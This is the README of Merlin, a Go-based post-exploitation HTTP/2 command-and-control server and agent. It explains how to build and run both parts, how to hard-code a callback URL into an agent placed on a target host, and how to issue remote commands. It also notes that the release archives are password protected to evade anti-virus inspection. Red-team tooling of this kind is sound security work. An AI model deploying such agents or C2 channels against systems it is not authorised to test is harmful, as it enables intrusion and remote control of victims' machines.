Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.
An introductory blog post can be found here: https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a
Getting Started
The quickest and easiest way to start using Merlin is download the pre-compiled binary files found in the Releases section. The files are compressed into 7z archives and are password protected to prevent Anti-Virus inspection when downloading. The password is
merlin
.Install GO
In order to run Merlin from source, or to compile Merlin yourself, the Go programing language must be installed on the system. However, if you just want to run a pre-compiled version, you do not need to install Go.
Download and install GO:
https://golang.org/doc/install
Download Merlin Server
It is recommended to download the compiled binaries from the Releases section
Ensure your GOPATH environment variable is setDownload Merlin with Go
go get github.com/Ne0nd0g/merlin
If you want to use git instead of Go, merlin must be in your GOPATH i.e.
$GOPATH/src/github.com/Ne0nd0g/merlin
cd $GOPATH/src/github.com/Ne0nd0g;git clone https://github.com/Ne0nd0g/merlin/
Run Merlin Server
Merlin Server can be run as a script or compiled and run as a standalone binary file.
go run cmd/merlinserver/main.go
Compile Merlin Server
Compile Merlin into an executable using Make
make server-windows
or make server-linux
or make server-darwin
Merlin Server Usage
-debug
Enable debug output
-i string
The IP address of the interface to bind to (default "0.0.0.0")
-p int
Merlin Server Port (default 443)
-v Enable verbose output
-x509cert string
The x509 certificate for the HTTPS listener (default "C:\\Merlin\\data\\x509\\server.crt")
-x509key string
The x509 certificate key for the HTTPS listener (default "C:\\Merlin\\data\\x509\\server.key")
Merlin Server Commands
Merlin is equipped with a tab completion system that can be used to see what commands are available at any given time. Hit double tab to get a list of all available commands.
exit Exit and close Merlin
help Show Merlin help menu
quit Exit and close Merlin
? Show Merlin help menu
Agent Commands
These are the commands to control an agent from the server. Tab completion can be used to select an Agent's identifier.
agent cmd <agent id> <command> A command to run on a remote agent
agent control <agent id> <command> Configure/Control a remote agent (not the host)
[kill,sleep,padding,maxretry]
agent info <agent id> Display all information for an agent
agent list List agents
TLS Certificates
By default, Merlin will load server.crt and server.key from the
data/x509/
directory. You must generate your own certificate pair and place them in this directory.Third Party Libraries
The 3rd party libraries used with Merlin are kept in the vendor directory. This project will default to using the library files in that folder.
Running Merlin Agent
The agent portion of Merlin should be run as a compiled binary file on a target host.
It is recommended to download the compiled binaries from the Releases section
Ensure your GOPATH environment variable is set!Compile Merlin Agent into an executable
make agent-windows
or make agent-linux
or make agent-darwin
Merlin Agent can also be compiled without Make, using just go. To compile Merlin Agent with your hard coded Merlin Server's address, so it doesn't have to specified on the command line, include
-ldflags -X main.url=https://acme.com:443/
Example: go build -o merlinagent.exe -ldflags "-X main.url=https://acme.com:443/" cmd/merlinagent/main.go
Run Merlin Agent as script: go run cmd/merlinagent/main.go
USAGE
-debug
Enable debug output
-sleep duration
Time for agent to sleep (default 10s)
-url string
Full URL for agent to connect to (default "https://127.0.0.1:443")
-v Enable verbose output